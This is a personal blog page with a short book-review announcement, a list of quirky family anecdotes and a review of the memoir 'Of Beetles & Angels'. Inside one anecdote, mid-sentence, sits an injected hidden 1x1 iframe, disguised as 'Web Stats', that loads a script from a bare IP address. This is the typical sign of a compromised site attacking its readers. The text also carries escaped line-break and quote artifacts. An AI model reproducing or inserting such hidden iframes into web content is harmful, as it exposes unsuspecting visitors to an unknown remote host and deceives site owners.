Here is a book review I wrote for Paul Miller’s new book A Praying Life. I am very excited they chose it for the USA Today Faith and Reason blog. Perhaps someday I will be a contributor to the world of books, but right now I’m happy to support others doing good work. Way to go Paul!
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Friday, June 5th, 2009Whatever
Tuesday, May 19th, 2009I know, it\’s been WAY too long since I\’ve written anything, and I don\’t have anything burning to write at the moment, so I decided I would just list some random pieces of information. This will be much like having a conversation with me.\r\n\r\nYesterday, Aaron said, One time, I put soap on my hand. That was comforting.\r\n\r\nIf you want to cut hot brownies, you can use a plastic knife and they don\’t stick to it.\r\n\r\nLevi had a root canal this morning and is currently sleeping it off. He\’s fine.\r\n\r\nI find rainy!– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — days depressing.\r\n\r\nMy husband just drove our van through the front yard ???\r\n\r\nIf you dye your hair purple, a lot more people will talk to you.\r\n\r\nIf you dye your hair purple, your father will not approve.\r\n\r\nWind is air in motion.\r\n\r\nThere are squirrels living in our attic.\r\n\r\nOne time a squirrel ate my mom\’s 1970s rattan furniture. She chased it out the back door.\r\n\r\nThat was not nearly as bad as the time the skunk got in our basement and sprayed. \r\n\r\nNot long after the skunk incident, my grandfather gave my parents the two greatest cars Ford ever rolled off the line: a Pinto and an El Camino. \r\n\r\nYou can use a baseball field to prove the pythagorean theorem. \r\n\r\nMy dad used the El Camino to drag the baseball field.\r\n\r\nIf a baseball player throws his glove at a ball in play, the batter gets an automatic triple, unless the ball (and glove assumedly) both go over the fence in fair territory, then it\’s still a homerun and the player loses his glove.\r\n\r\nI used to be an umpire, and I never saw that happen.\r\n\r\nI\’m currently reading The Divine Conspiracy by Dallas Willard. It\’s very good and I highly recommend it.\r\n\r\nI\’m going to go see about my husband driving through the yard.\r\n\r\nLater Tater.
Of Beetles & Angels
Monday, September 8th, 2008Of Beetles & Angels is a memoir I read the other day by Mawi Asgendom. My friend Tina gave it to me and said it was a quick read. I read it in a day. I’m sure there are many reviews of this book and now the author has a whole speaking business. The subtitle gives you the basic idea of the book: “A boy’s remarkable journey from a refugee camp to Harvard.” This kid from Ethiopia spent 3 years in a refugee camp in the Sudan with his family before they all moved to Wheaton, Illinois. The struggles of his life and the issues his family had to deal with would seem insurmountable, but by the grace of God, his life was not only spared but he became someone enviable to most. Even more remarkable to me was life of his father. The father’s journey was the opposite of the son’s. Where the son went from a place of poverty and complete lack of recognition to being a Harvard graduate, the father went from being a highly respected member of the medical community to being a janitor and then a disabled, unemployed refugee living in the projects. It was the sacrifice of the father that made the son’s life possible, and the father seemed to know that going in. He gave up everything so his son would be great. What a picture of the gospel and what a picture of the call of all Christians.